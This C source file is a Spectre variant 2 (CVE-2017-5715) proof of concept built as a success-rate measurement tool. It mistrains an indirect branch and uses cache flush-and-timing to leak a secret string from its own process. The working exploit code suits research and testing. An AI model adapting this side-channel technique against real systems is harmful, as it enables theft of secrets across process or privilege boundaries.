octopus/spectre_v2.c

/* spectre.c - CVE-2017-5715 user-to-user sucess rate measurement
 *
 * Borrows code from 
 *  - https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6
 *
 * Copyright (c) 2022 Samuel AUBERTIN
 *
 * Permission to use, copy, modify, and distribute this software for any
 * purpose with or without fee is hereby granted, provided that the above
 * copyright notice and this permission notice appear in all copies.
 *
 * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
 * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
 * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
 * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
 * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
 * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
 */

#include "octopus.h"

#define GAP 1024

char* 		secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism, Revenge and Extortion.";
uint64_t*	target; // pointer to indirect call target
unsigned int 	cache_hit_threshold, array1_size = 16;
uint8_t 	unused1[64], unused2[64], array2[256 * 512], array1[160] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
//uint8_t 	temp = 0; /* Used so compiler won’t optimize out victim_function() */
uint8_t 	channel[256 * GAP]; // side channel to extract secret phrase

// mistrained target of indirect call
int
gadget(char* addr) 
{
	return channel[*addr * GAP]; // speculative loads fetch data into the cache
}

// safe target of indirect call
int
safe_target(char* addr)
{
	return 42;
}

// function that makes indirect call
// note that addr will be passed to gadget via %rdi 
int 
victim_function(char* addr, int input)
{
	#pragma GCC diagnostic ignored "-Wuninitialized"
	unsigned int result, junk = junk;
	// set up branch history buffer (bhb) by performing >29 taken branches
	// see https://googleprojectzero.blogspot.com/2018/01/reading-privileged-memory-with-side.html
	// for details about how the branch prediction mechanism works
	// junk and input used to guarantee the loop is actually run
	for (int i = 1; i <= 100; i++) {
		input += i;
		junk += input & i;
	}
	// call *target
	__asm volatile(
		"mov %%rax, %2\n"
        	"callq *%1\n"
		"mov %0, %%eax\n"
		: "=r" (result)
		: "r" (*target), "rm" (addr)
		: "rax", "rcx", "rdx", "rsi", "rdi", "r8", "r9", "r10", "r11");
	return result & junk;
}

static inline void 
leak(char* target_addr, uint8_t value[2], int score[2], unsigned cache_hit_threshold)
{
	static int		results[256];
	int			tries, i, j, mix_i;
	unsigned int		junk = 0;
	volatile uint8_t*	addr;
	char			dummy = '@';
	#ifdef NOCLFLUSH
		int junk2 = 0;
		int l;
		(void)junk2;
	#endif
	for (i = 0; i < 256; i++) {
		results[i] = 0;
		channel[i * GAP] = 1;
	}
	for (tries = 999; tries > 0; tries--) {
		// Malicious target 
		*target = (uint64_t)&gadget;
		#ifndef NOMFENCE
		_mm_mfence();
		#endif 
		for (j = 50; j > 0; j--) {
			junk ^= victim_function(&dummy, 0);
		}
		#ifndef NOMFENCE
			_mm_mfence();
		#endif 
		
		#ifndef NOCLFLUSH
			for (i = 0; i < 256; i++) {
				_mm_clflush(&channel[i * GAP]);
			}
		#else 
			for (j = 0; j < 16; j++) {
				for (i = 0; i < 256; i++) {
					flush_memory_sse(&channel[i * GAP]);
				}
			}
		#endif
		#ifndef NOMFENCE
			_mm_mfence();
		#endif

		// change to safe target
		*target = (uint64_t)&safe_target;
		
		#ifndef NOMFENCE
			_mm_mfence();
		#endif 
		// flush target to prolong misprediction interval
		#ifndef NOCLFLUSH
			_mm_clflush((void*) target);
		#else 
			flush_memory_sse((void*) target);
		#endif		
		#ifndef NOMFENCE
			_mm_mfence();
		#endif 
		// call victim 

		//printf("victim with %p\n", target_addr);
		junk ^= victim_function(target_addr, 0);
		#ifndef NOMFENCE
			_mm_mfence();
		#endif 
		// now, the value of *addr_to_read should be cached even though
		// the logical execution path never calls gadget() 
     		/* Time reads. Order is lightly mixed up to prevent stride prediction */
		for (i = 0; i < 256; i++) {
			mix_i = ((i * 167) + 13) & 255;
			addr = & channel[mix_i * GAP];
			if (timed_access(addr) <= cache_hit_threshold && mix_i != array1[tries % array1_size]) {
				results[mix_i]++; /* cache hit - add +1 to score for this value */
			}
		}
		/* Locate highest results in j */
		j = -1;
		for (i = 0; i < 256; i++) {
			if (j < 0 || results[i] >= results[j]) {
				j = i;
			}
		}
		if (results[j] >= 3) {
			break;
		}
	}
	results[0] ^= junk; /* use junk so code above won’t get optimized out*/
	value[0] = (uint8_t) j;
	score[0] = results[j];
}

int 
main(int argc, char** argv) 
{
	int 		o, score[2], len = (int)strlen(secret), json = 0, successes = 0;
	uint8_t 	value[2];
	char*		secret_addr = secret;
	
	while ((o = getopt(argc, argv, "t:j")) != EOF) {
		switch (o) {
			case 't':
				cache_hit_threshold = atoi(optarg);
				break;
			case 'j':
				json++;
				break;
			default:
			usage:
				fprintf(stderr, "usage: %s [-j] "
				"[-t threshold]\n"
				"\t-j\t\tJSON output\n"
				"\t-t INT\t\tfixed threshold\n", argv[0]);
				return 1;
		}
	}
	if (argc != optind) {
		goto usage;
	}
	
	target = (uint64_t*)malloc(sizeof(uint64_t));
	fprintf(stderr, "[+] %s leaking %d bytes with CVE-2017-5715:\n[?] ", argv[0] + 2, len);
	calibrate_threshold(cache_hit_threshold ? NULL : &cache_hit_threshold);
	#ifdef NOCLFLUSH
		for (i = 0; i < (int)sizeof(cache_flush_array); i++) {
			cache_flush_array[i] = 1;
		}
	#endif
	while (--len >= 0) {
		leak(secret_addr++, value, score, cache_hit_threshold);
		if(score[0] == 3 && value[0] > 31 && value[0] < 127) {
			successes++;
			fprintf(stderr, "\033[32m%c\033[0m", (value[0]));
		} else {
			fprintf(stderr, "\033[31m?\033[0m");
		}	
	}
	fprintf(stderr, "\n");
	if (json) {
		printf("{ \"%s\": { \"capacities\": { ",argv[0] + 2);
		#ifndef NORDTSCP
			printf("\"rdtscp\": true, ");
		#else
			printf("\"rdtscp\": false, ");
		#endif
	 	#ifndef NOMFENCE
			printf("\"mfence\": true, ");
		#else
			printf("\"mfence\": false, ");
		#endif
		#ifndef NOCLFLUSH
			printf("\"clflush\": true ");
		#else
			printf("\"clflush\": false ");
		#endif
		printf("}, ");
		printf("\"threshold\": %d, ", cache_hit_threshold);
		printf("\"success\": %.0f } }", 100 * successes / (float)strlen(secret));
	}
	fprintf(stderr, "[+] %-27s\t",argv[0] + 2);
	#ifndef NORDTSCP
		fprintf(stderr, "RDTSCP ");
	#else
		fprintf(stderr, "RDTSC ");
	#endif
	#ifndef NOMFENCE
		fprintf(stderr, "MFENCE ");
	#endif
	#ifndef NOCLFLUSH
		fprintf(stderr, "CLFLUSH ");
	#endif
	fprintf(stderr, "\tthreshold %-3d\tsuccess %3.0f %%\n", cache_hit_threshold, 100 * successes / (float)strlen(secret));
        free(target);
	return 0;
}